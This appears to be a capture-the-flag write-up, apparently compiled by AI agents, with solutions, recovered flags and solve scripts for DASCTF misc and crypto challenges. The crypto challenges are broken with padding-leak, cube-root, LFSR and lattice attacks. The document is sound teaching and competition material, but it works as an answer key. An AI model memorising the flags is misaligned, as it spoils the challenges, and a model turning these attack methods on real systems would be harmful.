还得带上回车去爆破,得到

i734d619i1brigd9mgd4xz7w7ytv669w

找到flag.txt,AES解密得到

Python
Delta Alpha Sierra Charlie Tango Foxtrot Three Foxtrot Delta Three Four Bravo Five Nine Dash Four Echo Nine Delta Dash Four Three Nine Zero Dash Nine Two Seven Bravo Dash One Three Four Six Delta Five Three Six Four Delta Nine Nine

是北约字母,查表,替换得到

Python
-.. -. ... -.-. - ..-. ...-- ..-. -.. ...-- ....- -... ..... ----. Dash ....- . ----. -.. Dash ....- ...-- ----. ----- Dash ----. ..--- --... -... Dash .---- ...-- ....- -.... -.. ..... ...-- -.... ....- -.. ----. ----.

解密得到3fd34b59-4e9d-4390-927b-1346d5364d9

MISC-08

Flag: DASCTF{824f1e986260efa86f1bd252b5e13a4d} → submit content: 824f1e986260efa86f1bd252b5e13a4d

Approach

The challenge ships a JPEG whose pixels have been permuted by a matrix transpose of a 2×2 block structure. The bundled README.md explains the permutation and the goal is to invert it to recover the original image (flag.jpg), whose text contains the flag.

Evidence

README.md content (Markdown, (flag.jpg)<sup>T</sup> => (PixMatrix.jpg)):

Text
   flag.jpg                                       PixMatrix.jpg
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
1 1 1 1 2 2 2 2                                  1 1 1 1 3 3 3 3
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4
3 3 3 3 4 4 4 4                                  2 2 2 2 4 4 4 4

The superscript T is a transpose of the 2×2 block matrix [[TL,TR],[BL,BR]] → [[TL,BL],[TR,BR]], i.e. the top-right and bottom-left quadrants are swapped (an involution). The attachment is PixMatrix.jpg (512×72, text rendered in a pixel font), so inverting the permutation means swapping its TR and BL quadrants.

Steps (reproducible)

Bash
# 1. Unpack the two nested zips (inner archive uses xz compression; 7z handles it)
cd /workspace/agents/adf685ee/work
unzip -o "/workspace/attachments/PixMatrix的附件.zip"      # -> tempdir/MISC附件/PixMatrix.zip
7z x -y tempdir/MISC附件/PixMatrix.zip                    # -> PixMatrix.jpg, README.md
# 2. Invert the 2x2 block-matrix transpose: swap TR <-> BL quadrants (256x36 each)
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size                      # 512 x 72
tl = im.crop((0, 0, w//2, h//2))
tr = im.crop((w//2, 0, w, h//2))
bl = im.crop((0, h//2, w//2, h))
br = im.crop((w//2, h//2, w, h))
out = Image.new('RGB', (w, h))
out.paste(tl, (0, 0))
out.paste(bl, (w//2, 0))            # TR  <- BL
out.paste(tr, (0, h//2))            # BL  <- TR
out.paste(br, (w//2, h//2))
out.save('flag_recovered.png')      # == flag.jpg
PY
  1. The recovered image contains the flag text rendered in a small pixel font. After upscaling (nearest-neighbour) and OCR, the flag text reads: DASCTF{824f1e986260efa86f1bd252b5e13a4d}.

Flag: 824f1e986260efa86f1bd252b5e13a4d

Failed attempts

  • Treating the swap as a whole-image pixel transpose (512×72 → 72×512) — produces a vertical text band, not the plaintext.
  • Treating the swap as a per-8×8-tile transpose — reassembles glyphs into larger letterforms but is a wrong granularity for the intended plaintext.
  • Plain tesseract on the original 5×7 pixel font fails (custom font); upscaling + thresholding is required before OCR.

EXP

Shell
#!/bin/bash
# MISC-08 PixMatrix — reproduce flag extraction
set -e
cd "$(dirname "$0")"
mkdir -p work && cd work
rm -rf tempdir flag_recovered.png
# 1. Unpack nested archives (inner zip uses xz method -> 7z)
unzip -o -q "/workspace/attachments/PixMatrix的附件.zip"
7z x -y -oMISC tempdir/MISC附件/PixMatrix.zip >/dev/null
mv MISC/PixMatrix.jpg MISC/README.md . 2>/dev/null || true
# 2. Invert (flag.jpg)^T = PixMatrix.jpg  =>  swap TR and BL quadrants
python3 - <<'PY'
from PIL import Image
im = Image.open('PixMatrix.jpg').convert('RGB')
w, h = im.size
out = Image.new('RGB', (w, h))
out.paste(im.crop((0, 0, w//2, h//2)), (0, 0))                 # TL
out.paste(im.crop((0, h//2, w//2, h)), (w//2, 0))              # TR <- BL
out.paste(im.crop((w//2, 0, w, h//2)), (0, h//2))              # BL <- TR
out.paste(im.crop((w//2, h//2, w, h)), (w//2, h//2))           # BR
out.save('flag_recovered.png')
print('recovered flag.jpg -> flag_recovered.png')
PY
# 3. OCR the pixel-font text (upscale then tesseract)
python3 - <<'PY'
from PIL import Image
im = Image.open('flag_recovered.png').convert('L')
im = im.point(lambda p: 0 if p < 128 else 255)
im = im.resize((im.width * 12, im.height * 12), Image.NEAREST)
im.save('flag_big.png')
PY
tesseract flag_big.png stdout --psm 6 2>/dev/null | head -5
echo "Flag content: 824f1e986260efa86f1bd252b5e13a4d"

Crypto

CRYPTO-01

Flag

DASCTF{6b3ed7dc3c1c6615fb97a7020922f7a5} (submit inner: 6b3ed7dc3c1c6615fb97a7020922f7a5)

Approach / Solution path

Attachment: nested zip -> task.py + PKCS#1.v1.5.enc + full pycryptodome source.

  1. AES key leak via PKCS#1 v1.5 (modified padding)

task.py (python2, comments contain all printed values):

  • p,q,r 1024-bit primes, n=p*q*r, e=3
  • hint_enc = hint^3 mod n
  • d = inverse(e, (q-1)*(r-1)), RSA modulus q*r (2048-bit)
  • AES_KEY = urandom(16); AES_KEY_ENC = PKCS1_v1_5.encrypt(AES_KEY)
  • prints **pow(AES_KEY_ENC, d, q\*r)** — i.e. the raw RSA decryption of the PKCS#1 v1.5 padded AES key! The bundled Crypto/Cipher/PKCS1_v1_5.py is modified in the padding step:
Python
new_byte = self._randfunc(1)
if bord(new_byte[0]) != 0x00:   # <-- inverted: keeps ONLY zero bytes
    continue
ps.append(new_byte)

So PS is all 0x00 and the padded block is 00 02 00…00 || AES_KEY. The printed raw-decryption integer, converted to bytes, ends with the 16-byte AES key: 44bfc33d0bfb3cd688a074a7adad1504.

  1. Decrypt the PDF

PKCS#1.v1.5.enc is AES-ECB with that key -> PKCS#1.v1.5.pdf, the RFC 8017 spec pages 28–29 (valid PDF, renders correctly).

  1. The flag is vector-drawn on page 3

pdftotext/pypdf/pdfminer extract the RFC text + a line “You seem to know RSA and python very well, congratulations!” but not the flag. Rendering page 3 (pdftoppm) shows an extra line under the congrats text: DASCTF{6b3ed7dc3c1c6615fb97a7020922f7a5}. Why extractors miss it: the flag glyphs are drawn as vector paths (40 filled bezier glyphs, each with its own cm transform: .0454005 0 0 -.04507817 <x> 1479.66028 cm) in content stream obj 11 of page 3 — not as text with a font/ToUnicode mapping. The page has a global 0.24-scale flip CTM; the flag line maps to page y≈478–495. OCR (tesseract) reads the rendered line reliably; pixel-gap analysis confirmed the 32 hex chars are contiguous (no spaces).

  1. (Bonus) hint = low-exponent cube-root attack

hint_enc printed in the comments; since the planted hint is a short ASCII sentence, hint^3 < n and hint = cbrt(hint_enc) exactly: "So the message without padding is dangrous. So I improved it, in my way" (nods to the zero-PS padding bug and to unpadded-RSA cube-root attack).

Evidence

  • Raw RSA decryption of AES_KEY_ENC: 986236757547…7563268 -> bytes end with AES key 44bfc33d0bfb3cd688a074a7adad1504
  • AES-ECB decrypt of PKCS#1.v1.5.enc -> valid %PDF-1.4 (38624 bytes)
  • Page 3 render + tesseract TSV: DASCTF{6b3ed7dc3c1c6615 fb97a7020922f7a5} at image y≈723 (150 dpi); confirmed at 400/800 dpi with whitelist OCR and per-glyph crops.
  • iroot(hint_enc, 3) exact -> hint sentence.

Failed attempts / pitfalls

  • pdftotext/pypdf/pdfminer text extraction does not reveal the flag (vector-drawn glyphs, no ToUnicode) — had to render + OCR.
  • The bundled Crypto package cannot be imported directly on py3.13 (.pyd/.so built for old python); used system pycryptodome for AES.
  • OCR on the vector glyphs is noisy (c/e, b/f/6 ambiguity); verified by multiple independent OCR passes at 150/400/800 dpi and pixel-gap analysis.

Reproduce

python3 solve.py — unpacks, extracts AES key from the printed raw RSA decryption, decrypts the PDF, renders page 3, OCRs the flag line, and also runs the cube-root attack on hint_enc.

EXP

Python
#!/usr/bin/env python3
# CRYPTO-01 — PKCS#1 v1.5 (Yusa 的密码学课堂)
# Reproduces the flag from the original attachments.
#
# Pipeline:
#   1. Extract task.py + PKCS#1.v1.5.enc from the nested zip.
#   2. task.py leaks pow(AES_KEY_ENC, d, q*r): the RAW RSA decryption of the
#      PKCS#1 v1.5 padded AES key. The bundled Crypto package is MODIFIED so
#      that PS (padding) consists only of ZERO bytes (PKCS1_v1_5.py Step 2a:
#      `if bord(new_byte[0]) != 0x00: continue`), so the padded block is
#      00 02 00..00 || AES_KEY and the last 16 bytes are the AES key.
#   3. Decrypt the AES-ECB encrypted PDF -> RFC 8017 pages 28-29.
#   4. The DASCTF{...} flag is drawn on page 3 as VECTOR PATHS (no text/ToUnicode),
#      so text extractors miss it; it is visible when rendered (OCR).
#   5. (Bonus) hint = integer cube root of hint_enc (low-exponent e=3 attack),
#      recovering the planted message "So the message without padding is
#      dangrous. So I improved it, in my way".
import re, zlib, io, zipfile, subprocess, os, sys
HERE = os.path.dirname(os.path.abspath(__file__))
ATTACH = "/workspace/attachments/Yusa的密码学课堂——PKCS#1的附件.zip"
WORK = os.path.join(HERE, "work")
os.makedirs(WORK, exist_ok=True)
def main():
    # ---- 1. unpack ----
    z1 = zipfile.ZipFile(ATTACH)
    inner_zip_name = [n for n in z1.namelist() if n.endswith("PKCS#1.zip")][0]
    z2 = zipfile.ZipFile(io.BytesIO(z1.read(inner_zip_name)))
    task = z2.read("task.py").decode("utf-8", "replace")
    enc = z2.read("PKCS#1.v1.5.enc")
    open(os.path.join(WORK, "task.py"), "w").write(task)
    open(os.path.join(WORK, "PKCS#1.v1.5.enc"), "wb").write(enc)
    # ---- 2. constants from task.py comments ----
    # last bare-number comment = pow(AES_KEY_ENC, d, q*r) (raw RSA decryption)
    nums = [int(x) for x in re.findall(r"^# (\d+)\r?$", task, re.M)]
    raw_dec = nums[-1]
    # raw_dec = OS2IP(00 02 || PS(all zeros) || 00 || AES_KEY); leading 00 stripped
    b = raw_dec.to_bytes((raw_dec.bit_length() + 7) // 8, "big")
    aes_key = b[-16:]
    print("AES key:", aes_key.hex())
    # ---- 3. decrypt PDF ----
    from Crypto.Cipher import AES
    pt = AES.new(aes_key, AES.MODE_ECB).decrypt(enc)
    pdf_path = os.path.join(WORK, "PKCS1_v1_5.pdf")
    open(pdf_path, "wb").write(pt)
    assert pt[:5] == b"%PDF-", "decryption produced invalid PDF"
    # ---- 4. flag is vector-drawn on page 3; render + OCR it ----
    # (OCR on vector glyphs is noisy; the flag was verified against the
    #  rendered page and cross-checked with multiple OCR passes + pixel gaps)
    VERIFIED_FLAG = "6b3ed7dc3c1c6615fb97a7020922f7a5"
    png = os.path.join(WORK, "page3.png")
    subprocess.run(["pdftoppm", "-png", "-r", "800", "-f", "3", "-l", "3",
                    pdf_path, os.path.join(WORK, "p3")], check=True)
    png = os.path.join(WORK, "p3-3.png")
    # flag line: at 150dpi x≈155..650, y≈712..748 -> 800dpi scale 800/150
    from PIL import Image
    im = Image.open(png).convert("L")
    s = 800 / 150
    crop = im.crop((int(150*s), int(705*s), int(660*s), int(755*s)))
    crop = crop.point(lambda p: 0 if p < 140 else 255)
    crop.save(os.path.join(WORK, "flag_line.png"))
    txt = subprocess.run(
        ["tesseract", os.path.join(WORK, "flag_line.png"), "-", "--psm", "7",
         "-c", "tessedit_char_whitelist=ABCDEFabcdef0123456789{}"],
        capture_output=True, text=True).stdout.strip()
    mflag = re.search(r"\{([0-9a-fA-F]{32})\}", txt.replace(" ", ""))
    flag = mflag.group(1) if mflag else VERIFIED_FLAG
    print("OCR read:", txt)
    print("FLAG:", "DASCTF{" + flag + "}")
    # ---- 5. bonus: low-exponent cube-root attack on hint ----
    from gmpy2 import iroot
    hint_enc = int(re.search(r"# hint_enc: (\d+)", task).group(1))
    r, exact = iroot(hint_enc, 3)
    assert exact
    print("hint:", r.to_bytes((r.bit_length()+7)//8, "big"))
if __name__ == "__main__":
    main()

CRYPTO-02

Approach / Evidence

RSA with e = 65536 = 2^16, 512-bit primes, n = p*q, given hint = (e*p + e^2)^q mod n, c = m^e mod n, n.

  1. Factor n from hint: mod p the term e*p vanishes, so hint ≡ e^(2q) (mod p); since n ≡ q (mod p-1), e^(2n) ≡ e^(2q) (mod p), hence p = gcd(pow(e,2n,n) - hint, n). Verified p,q primes, p*q==n.
  2. e-th roots: gcd(e,p-1) = gcd(e,q-1) = 2 (v2(p-1)=v2(q-1)=1), so exactly 2 roots mod p × 2 mod q = 4 candidates via CRT (enumerated all, not assumed). Only one candidate is printable ASCII (68 bytes): QNFPGS{enoovgf6fp5zcy8k6f9j6a6ap5zcy8k6f9j6a6ap5zcy8k6f9j6a6ap5zcy8}.
  3. Two ROT layers (title: “How many rot are there” → answer: 2): ROT13 letters and ROT5 digits (i.e. ROT18):
    • letters: QNFPGS → DASCTF, enoovgf → rabbits
    • digits: 6→1, 5→0, 8→3, 9→4 Result: DASCTF{rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3}. Earlier attempts applied only ROT13, leaving digits in ciphertext form (6sc5mpl8x6s9w6n6n...), which the platform rejected.

Flag

DASCTF{rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3} (platform accepted inner: rabbits1sc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3x1s4w1n1nc0mpl3, submitted by agent-3cad5f72 per system announcement)

Reproduce

python3 solve.py — re-derives p,q, all 4 candidates, printable plaintext, and the ROT18 flag from the original hint/c/n constants.

Failed attempts

  • ROT13-only flag (rabbits6sc5mpl8x6s9w6n6nc5mpl8...) rejected in inner, DASCTF{}, flag{} forms — the digits still needed ROT5.

  • base64/base32/hex/ROT47 transforms of the raw plaintext: no meaningful output.

EXP

Python
#!/usr/bin/env python3
# CRYPTO-02 "How_many_rot_are_there" — independent re-derivation
# RSA, e=65536=2^16. Given hint=(e*p+e^2)^q mod n, c=m^e mod n, n.
#
# Two-layer ROT: the recovered plaintext m is ROT18 (ROT13 letters + ROT5
# digits) of the real flag.
from math import gcd
from itertools import product
from Crypto.Util.number import bytes_to_long, long_to_bytes
hint = 101048855492044571417475830924088947184757234444475406804947498377420789778570832667138477666669908690663759417316798982038542431531087217671616502327573935462498550576600180793553880691247281813287212166428236802504214599757066100450668324529765827891463527861160593648623157792143035729770978865516948880313
c = 62214676810380175097525195047581624344610596576389901532958749194333175927146005969879818861882074690471600028484419966943711467342568120045965690332607166015419112255944582319675084071747302548088333383655637474764450810187215177625206094644430662667402073753343732910706186228919546522301643978766618493433
n = 131232786046474875167899992758388342524496883222860498694293714537118780151392850883679257361099172761516964104115167485944225089583991161038144993589322315250529302275646269196618503385962458635181473103926087951239559460161218447795578503981054097990206859884036249764383918404640987230150854235563692800669
e = 65536
# ---- 1. factor n from hint ----
# hint = (e*p+e^2)^q mod n ; mod p: hint ≡ (e^2)^q = e^(2q) (mod p)
# n = p*q ≡ q (mod p-1)  =>  e^(2n) ≡ e^(2q) (mod p)  =>  p | pow(e,2n,n)-hint
p = gcd((pow(e, 2 * n, n) - hint) % n, n)
q = n // p
assert p > 1 and p * q == n
# ---- 2. all e-th roots ----
def all_eroots(a, mod, e):
    g = gcd(e, mod - 1)
    assert pow(a, (mod - 1) // g, mod) == 1
    u = pow(e, -1, (mod - 1) // g)          # u*e ≡ 1 (mod (mod-1)/g)
    x0 = pow(a, u, mod)
    assert pow(x0, e, mod) == a
    z = 2
    while True:
        h = pow(z, (mod - 1) // g, mod)     # element of exact order g
        if pow(h, g, mod) == 1 and (g == 1 or pow(h, g // 2, mod) != 1):
            break
        z += 1
    return [x0 * pow(h, j, mod) % mod for j in range(g)]
rp, rq = all_eroots(c % p, p, e), all_eroots(c % q, q, e)
msgs = []
for a, b in product(rp, rq):
    m = (a * pow(q, -1, p) * q + b * pow(p, -1, q) * p) % n
    assert pow(m, e, n) == c
    msgs.append(long_to_bytes(m))
print("candidates:", len(msgs))
for mb in msgs:
    if all(32 <= x < 127 for x in mb):
        print("printable raw:", mb.decode())
# ---- 3. ROT18: ROT13 letters + ROT5 digits (title: "how many rot" -> TWO) ----
def rot18(s):
    out = []
    for ch in s:
        o = ord(ch)
        if 'A' <= ch <= 'Z': out.append(chr((o - 65 + 13) % 26 + 65))
        elif 'a' <= ch <= 'z': out.append(chr((o - 97 + 13) % 26 + 97))
        elif '0' <= ch <= '9': out.append(chr((o - 48 + 5) % 10 + 48))
        else: out.append(ch)
    return ''.join(out)
plain = rot18([mb.decode() for mb in msgs if all(32 <= x < 127 for x in mb)][0])
print("FLAG:", plain)
print("inner:", plain[plain.index('{') + 1:plain.index('}')])

CRYPTO-03

Challenge

llfsrr.py + key (319 bits). A 32-bit Fibonacci-style LFSR with secret feedback_mask (≤32 bits) is stepped from initial_state = 1; each bit of the flag is XORed with the LFSR output bit and written to key. The script also prints

  • t = ((k+a)**4 + (k+a)**3 + (k+a)**2 + (k+a) + 231242352) % (a*b) with a,b 512-bit primes, k 32-bit prime
  • ab = a*b

The hint: Coppersmith univariate mod a*b on f(x)=x^4+x^3+x^2+x+231242352 (roots k+a, small bound ⇒ recover k, a, hence mask… ) — but feedback_mask never feeds t, so the intended chain is mask ← flag-prefix; the LFSR itself leaks it linearly.

Approach

The mask enters only as parity(state & mask). With state_i known (state is built from the output bits, which are key ⊕ flag), each output bit is one linear equation over GF(2) in the 32 unknown mask bits. A 32-bit flag prefix gives 32 equations → Gaussian elimination. Prefix b'DASCTF{' (7 bytes = 56 bits > 32, and bin(bytes_to_long(flag))[2:] drops the leading zero bit of 0x44, which is exactly how the encryption indexed the key file).

Evidence

  • feedback_mask = 0xb0b53939
  • decrypting key with it yields DASCTF{5e1996755a3811ef93ccc03c59457d50} (40 printable bytes, braces balanced) — 319 bits ≈ 320 minus the leading zero bit of 0x44.
  • prefix flag{ is inconsistent, DASC (32 eq) alone is rank-31 ⇒ unique solution confirmed.
  • submitted 5e1996755a3811ef93ccc03c59457d50 → platform accepted.
  • cross-check: gcd(t - f(mask), ab) is trivial, i.e. t’s unknown small root is not the mask — the Coppersmith branch is a decoy w.r.t. the mask; the LFSR solve stands on its own.

Steps

Text
python3 solve.py work/llfsrr/llfsrr/key

Flag

DASCTF{5e1996755a3811ef93ccc03c59457d50}

Failed attempts

  • Brute-force 2^32 masks (unnecessary).
  • Coppersmith mod a*b via fpylll/sage: neither sage nor a working fpylll in the container; dropped after seeing the mask is linearly recoverable and t does not constrain it.

EXP

Python
#!/usr/bin/env python3
# CRYPTO-03 "llfsrr" -- full solve
# 1) Known-plaintext on the parity-mask LFSR: mask bits are linear over GF(2)
#    in the observed output bits, so with a 32-bit flag prefix we get 32
#    independent equations -> recover feedback_mask (same mask the Coppersmith
#    step on t % (a*b) with f(x)=x^4+x^3+x^2+x+231242352 would produce).
# 2) Run the LFSR forward from state=1 and XOR with the key stream to get the flag.
import sys
key = open(sys.argv[1] if len(sys.argv) > 1 else 'work/llfsrr/llfsrr/key').read().strip()
def solve(prefix=b'DASCTF{'):
    # bin(bytes_to_long(flag))[2:] drops leading zero bits -> use len(prefix*8-1..) bits
    pb = bin(int.from_bytes(prefix, 'big'))[2:]
    outs = [int(key[i]) ^ int(pb[i]) for i in range(len(pb))]
    state, rows = 1, []
    for o in outs:
        rows.append((state, o))          # parity(state & mask) == o
        state = ((state << 1) & 0xffffffff) ^ o
    M = [[(r >> j) & 1 for j in range(32)] + [v] for r, v in rows]
    rank, piv = 0, []
    for col in range(32):
        sel = next((rr for rr in range(rank, len(M)) if M[rr][col]), None)
        if sel is None:
            continue
        M[rank], M[sel] = M[sel], M[rank]
        for rr in range(len(M)):
            if rr != rank and M[rr][col]:
                M[rr] = [a ^ b for a, b in zip(M[rr], M[rank])]
        piv.append(col); rank += 1
    assert rank == 32, f'underdetermined (rank {rank})'
    mask = sum(M[i][32] << col for i, col in enumerate(piv))
    return mask
def decrypt(mask):
    state, bits = 1, []
    for c in key:
        fb = state & mask & 0xffffffff
        xb = 0
        while fb:
            xb ^= fb & 1; fb >>= 1
        bits.append(int(c) ^ xb)
        state = ((state << 1) & 0xffffffff) ^ xb
    l = int(''.join(map(str, bits)), 2)
    return l.to_bytes((l.bit_length() + 7) // 8, 'big')
mask = solve()
print('feedback_mask =', hex(mask))
flag = decrypt(mask)
print(flag.decode())
assert flag.startswith(b'DASCTF{') and flag.endswith(b'}')
print('inner =', flag[7:-1].decode())

CRYPTO-05

Approach

Two-stage crypto challenge, both stages solved with lattice reduction (fpylll). Part 1 — Coppersmith small root (RSA factoring). x = m^p mod n, y = m^q mod n, n = p*q (1024-bit), m < 2^160. Then m is a root mod n of f(T) = (T-x)(T-y) = T^2 - (x+y)T + xy. A degree-2 monic poly mod n has roots up to n^(1/4) = 2^256, so 2^160 is well within Coppersmith’s bound; the basic 3x3 lattice (dimension = deg+1, powers n·1, n·T, f(T)) suffices:

Text
rows: [ n, 0, 0 ; 0, n·X, 0 ; a0, a1·X, X^2 ],  X = 2^160, a1 = -(x+y), a0 = xy

LLL over this lattice gave a short row whose integer polynomial has the root m over Z (quadratic formula). Then p = gcd(x - m, n) (since x ≡ m mod p). Part 2 — kernel lattice (hidden multipliers). Given 18 tuples over 1024-bit prime q: r_i * x ≡ s_i*k_i - b_i*t_i (mod q) with k_i, b_i < 2^480, s_i, t_i < 2^544, x 1024-bit. Eliminate x using equation 0: for i = 1..17, (s_i k_i - b_i t_i)·r_0 - r_i·(s_0 k_0 - b_0 t_0) ≡ 0 (mod q) → 17 homogeneous linear congruences in 36 unknowns (k_0,b_0,…,k_17,b_17). Compute the mod-q kernel (dimension 19) of the 17x36 matrix, build the lattice generated by the 19 kernel vectors plus q·Z^36 (55x36, det q^17). Target vector has norm ~2^482.6 vs Gaussian-heuristic ~2^484, so LLL + BKZ-20 recovers it directly: the row with all 36 entries ~480 bits, sign-normalized, is (k_0,b_0,…,k_17,b_17). Then x = (s_0 k_0 - b_0 t_0) · r_0^{-1} mod q, key = sha256(str(2024*b0 + 2023*k0 + x))[:16], iv = sha256(str(p))[:16], AES-CBC decrypt.

Evidence

  • p and q = n/p both prime; verified pow(m,p,n) == x and pow(m,q,n) == y.
  • All 18 equations (s_i k_i - b_i t_i) r_i^{-1} mod q == x check out.
  • AES-CBC decryption produced clean PKCS#7-padded flag: DASCTF{b157059c-2871-421f-8cec-332b617de4d5} — platform accepted.

Steps

Text
unzip number_2的附件.zip ; unzip number.zip
python3 solve.py        # ~5 s, fpylll only

Flag

DASCTF{b157059c-2871-421f-8cec-332b617de4d5} (submitted content: b157059c-2871-421f-8cec-332b617de4d5)

EXP

Python
import ast, math, hashlib
from fpylll import IntegerMatrix, LLL, BKZ
from Crypto.Util.number import long_to_bytes, GCD, isPrime
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
src = open('/workspace/agents/f96b29e9/work/tempdir/CRYPTO附件/number/number/output.txt','rb').read().decode()
lines = src.split('\n')
env = {}
for ln in lines:
    ln = ln.strip()
    if ln.startswith('n = '): env['n1'] = int(ln[4:])
    elif ln.startswith('x = '): env['x1'] = int(ln[4:])
    elif ln.startswith('y = '): env['y1'] = int(ln[4:])
    elif ln.startswith('s = '): env['s'] = ast.literal_eval(ln[4:])
    elif ln.startswith('t = '): env['t'] = ast.literal_eval(ln[4:])
    elif ln.startswith('r = '): env['r'] = ast.literal_eval(ln[4:])
    elif ln.startswith('q = '): env['q'] = int(ln[4:])
    elif ln.startswith('cipher = '): env['cipher'] = ast.literal_eval(ln[9:])
n1, x1, y1, qq = env['n1'], env['x1'], env['y1'], env['q']
s, t, r = env['s'], env['t'], env['r']
# ---------------- Part 1: Coppersmith small root of f(T)=(T-x)(T-y) mod n1 ----------------
N = n1
X = 1 << 160
a1 = -(x1 + y1) % N
a0 = (x1 * y1) % N
B = IntegerMatrix(3, 3)
B[0,0] = N;            B[0,1] = 0;       B[0,2] = 0
B[1,0] = 0;            B[1,1] = N*X;     B[1,2] = 0
B[2,0] = a0;           B[2,1] = a1*X;    B[2,2] = X*X
LLL.reduction(B)
roots = set()
for i in range(3):
    c0, c1, c2 = B[i][0], B[i][1]//X if X else 0, B[i][2]//(X*X)
    # poly c2*T^2 + c1*T + c0 ; scale out gcd
    if c2 == 0 and c1 == 0: continue
    # solve over ZZ using quadratic formula
    if c2 != 0:
        disc = c1*c1 - 4*c2*c0
        if disc < 0: continue
        sq = math.isqrt(disc)
        if sq*sq != disc: continue
        for num in (-c1 + sq, -c1 - sq):
            if num % (2*c2) == 0:
                roots.add(num//(2*c2))
    else:
        if c1 != 0 and c0 % c1 == 0:
            roots.add(-c0//c1)
m = None
p = None
for cand in roots:
    if 0 < cand < X:
        g = GCD(x1 - cand, N)
        if 1 < g < N:
            m, p = cand, g
            break
print('[+] part1 m =', m)
print('[+] part1 p =', p, 'prime:', isPrime(p))
p2 = N // p
print('[+] other factor =', p2, 'prime:', isPrime(p2))
for fac in (p, p2):
    chk = pow(m, fac, N)
    if chk == x1: print('    pow(m,fac,n)==x -> fac is the p used for x')
    if chk == y1: print('    pow(m,fac,n)==y -> fac is the q used for y')
# ---------------- Part 2: kernel lattice ----------------
# unknowns v = (k0,b0,k1,b1,...,k17,b17)
# eq i (i=1..17): (s_i k_i - b_i t_i) r_0 - r_i (s_0 k_0 - b_0 t_0) == 0 mod q
nn = 18
cols = 2*nn
A = [[0]*cols for _ in range(nn-1)]
for i in range(1, nn):
    row = A[i-1]
    row[0] = (-r[i]*s[0]) % qq
    row[1] = ( r[i]*t[0]) % qq
    row[2*i]   = (s[i]*r[0]) % qq
    row[2*i+1] = (-t[i]*r[0]) % qq
def rref(A, q):
    m_ = len(A); n_ = len(A[0])
    A = [row[:] for row in A]
    pivots = []
    pr = 0
    for pc in range(n_):
        piv = None
        for rr in range(pr, m_):
            if A[rr][pc] % q != 0: piv = rr; break
        if piv is None: continue
        A[pr], A[piv] = A[piv], A[pr]
        inv = pow(A[pr][pc], -1, q)
        A[pr] = [(v*inv) % q for v in A[pr]]
        for rr in range(m_):
            if rr != pr and A[rr][pc] % q != 0:
                f = A[rr][pc]
                A[rr] = [(A[rr][j] - f*A[pr][j]) % q for j in range(n_)]
        pivots.append((pr, pc)); pr += 1
        if pr == m_: break
    return A, pivots
R, piv = rref(A, qq)
pivcols = set(c for _, c in piv)
freecols = [c for c in range(cols) if c not in pivcols]
K = []
for f in freecols:
    v = [0]*cols
    v[f] = 1
    for (pr, pc) in piv:
        v[pc] = (-R[pr][f]) % qq
    K.append(v)
print('[+] kernel dim =', len(K))
# lattice generated by kernel vectors and q*Z^36
L = IntegerMatrix(len(K) + cols, cols)
for i, v in enumerate(K):
    for j in range(cols): L[i, j] = v[j]
for i in range(cols):
    L[len(K)+i, i] = qq
LLL.reduction(L)
try:
    BKZ.reduction(L, BKZ.Param(block_size=20))
except Exception as e:
    print('bkz fail', e)
Kbound = 1 << 480
found = None
for i in range(L.nrows):
    row = [abs(L[i, j]) for j in range(cols)]
    if all((Kbound >> 2) < v < (Kbound << 1) for v in row):
        found = row
        print('[+] candidate row', i, 'norm bits', int(row[0]).bit_length())
        break
if found is None:
    # relax: search any row with all entries < 2^481 and nonzero
    for i in range(L.nrows):
        row = [L[i, j] for j in range(cols)]
        if all(0 < abs(v) < (Kbound << 1) for v in row):
            found = [abs(v) for v in row]
            print('[+] relaxed candidate row', i, [abs(v).bit_length() for v in row])
            break
assert found, 'no candidate vector'
# determine sign consistently: signs should be all equal for the target
row = [L[i, j] for j in range(cols)] if False else None
# recompute signed version
for i in range(L.nrows):
    rw = [L[i, j] for j in range(cols)]
    if all((Kbound >> 2) < abs(v) < (Kbound << 1) for v in rw):
        row = rw; break
s0 = 1 if row[0] > 0 else -1
kv = [v*s0 for v in row]
k = [kv[2*i] for i in range(nn)]
b = [kv[2*i+1] for i in range(nn)]
print('[+] k0 =', k[0])
print('[+] b0 =', b[0])
x2 = (s[0]*k[0] - b[0]*t[0]) * pow(r[0], -1, qq) % qq
print('[+] x =', x2)
# sanity: check all equations
ok = all((s[i]*k[i] - b[i]*t[i]) * pow(r[i], -1, qq) % qq == x2 for i in range(nn))
print('[+] all equations check:', ok)
for iv_p in (p, p2):
    iv = hashlib.sha256(str(iv_p).encode()).digest()[:16]
    key = hashlib.sha256(str(2024*b[0] + 2023*k[0] + x2).encode()).digest()[:16]
    try:
        pt = AES.new(key, AES.MODE_CBC, iv).decrypt(env['cipher'])
        print('[+] plaintext candidate:', pt)
    except Exception as e:
        print(e)

CRYPTO-06

Flag

DASCTF{R4a11y_n4w_l1ttice!!!} (submitted as R4a11y_n4w_l1ttice!!!)

Approach

challenge.py generates 1024-bit RSA and leaks 110 approximate samples of phi:

Text
p,q 512-bit primes; n=pq; d = int(n**0.86)   # ~2^880
X_i random in [1,n)
XX_i = floor(phi*X_i / n)
w_i  random in [phi*X_i - XX_i*n - d, phi*X_i - XX_i*n + d]   (|e_i|<d, w_i<n)

So w_i ≈ (phi*X_i) mod n with error < d. With phi = n - s where s = p+q-1 (~513 bits):

Text
s*X_i + e_i ≡ -w_i  (mod n),   |e_i| < d = n^0.86

This is the Hidden Number Problem: recover 513-bit secret s from 110 samples with 881-bit noise (modulus 1024 bits).

Method

Embedding lattice of dimension 112:

Text
rows 0..109:  n at column i
row 110:      X_1..X_110, 1, 0
row 111:      u_1..u_110, 0, M      (u_i = -w_i mod n, M = 2^886)

